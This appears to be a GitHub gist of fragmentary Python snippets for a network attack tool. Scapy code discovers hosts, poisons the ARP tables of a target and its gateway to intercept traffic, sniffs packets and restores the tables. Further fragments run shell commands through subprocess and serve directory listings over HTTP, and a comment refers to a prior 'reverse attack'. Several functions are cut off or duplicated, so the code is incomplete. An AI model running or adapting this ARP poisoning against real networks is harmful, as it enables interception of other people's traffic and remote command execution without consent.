Skip to content

Instantly share code, notes, and snippets.

View NimishMishra's full-sized avatar

NimishMishra

View GitHub Profile
from scapy.all import *
response = ""
def discovery(dst, time):
global response
ethernet_layer = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_layer = ARP(pdst= dst)
ans, unans = srp(ethernet_layer/arp_layer, timeout=int(time))
for sent, received in ans:
response = response + received[ARP].psrc + " "
def get_mac_address(ip_address):
packet = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address)
answered, unanswered = srp(packet, timeout=2, verbose=0)
for sent,received in answered:
return received[ARP].hwsrc
def poison_arp_tables(gateway_ip, gateway_mac, target_ip, target_mac):
# print("Poisoning.....")
gateway_to_target = ARP(op=2, hwdst= target_mac, psrc= gateway_ip, pdst= target_ip)
target_to_gateway = ARP(op=2, hwdst= gateway_mac, psrc= target_ip, pdst= gateway_ip)
try:
send(gateway_to_target, verbose=0)
send(target_to_gateway, verbose=0)
except Exception as e:
sys.exit()
def callback(packet):
global response
if(packet.haslayer('Ethernet')):
response = response + "Ethernet src: " + str(packet['Ethernet'].src) + "\n"
response = response + "Ethernet dst: " + str(packet['Ethernet'].dst) + "\n"
response = response + "Ethernet type: " + str(packet['Ethernet'].type) + "\n"
if(packet.haslayer('IP')):
response = response + "IP ttl: " +str(packet['IP'].ttl) + "\n"
response = response + "IP src: " +str(packet['IP'].src) + "\n"
def restore_arp_tables(gateway_ip, gateway_mac, target_ip, target_mac):
# print("Restoring...")
arp_layer = ARP(op=2, hwsrc= gateway_mac, psrc= gateway_ip, pdst= target_ip, hwdst="ff:ff:ff:ff:ff:ff")
gateway_to_target = Ether()/arp_layer
arp_layer = ARP(op=2, hwsrc= target_mac, psrc= target_ip, pdst= gateway_ip, hwdst="ff:ff:ff:ff:ff:ff")
target_to_gateway = Ether()/arp_layer
send(gateway_to_target, count=10, verbose= 0)
send(target_to_gateway, count=10, verbose= 0)
# print("Restoring done...")
def run_command(command):
command = command.rstrip()
try:
command.index("cd")
navigate_directory(command)
return "Directory changed to: " + str(os.getcwd())
except:
pass
def entry(target_ip, gateway_ip):
# assuming we have performed the reverse attack, we know the following
global response
response = ""
TARGET_IP = target_ip
GATEWAY_IP = gateway_ip
TARGET_MAC_ADDRESS = get_mac_address(TARGET_IP)
import subprocess
import os
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
import time
class ServerHandler(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
print("Path is: " + self.path)
self._set_response()
response = ""
current_directory = os.getcwd()
if(self.path == "/"):
for file in os.listdir(current_directory):
response = response + file + "\n"
else: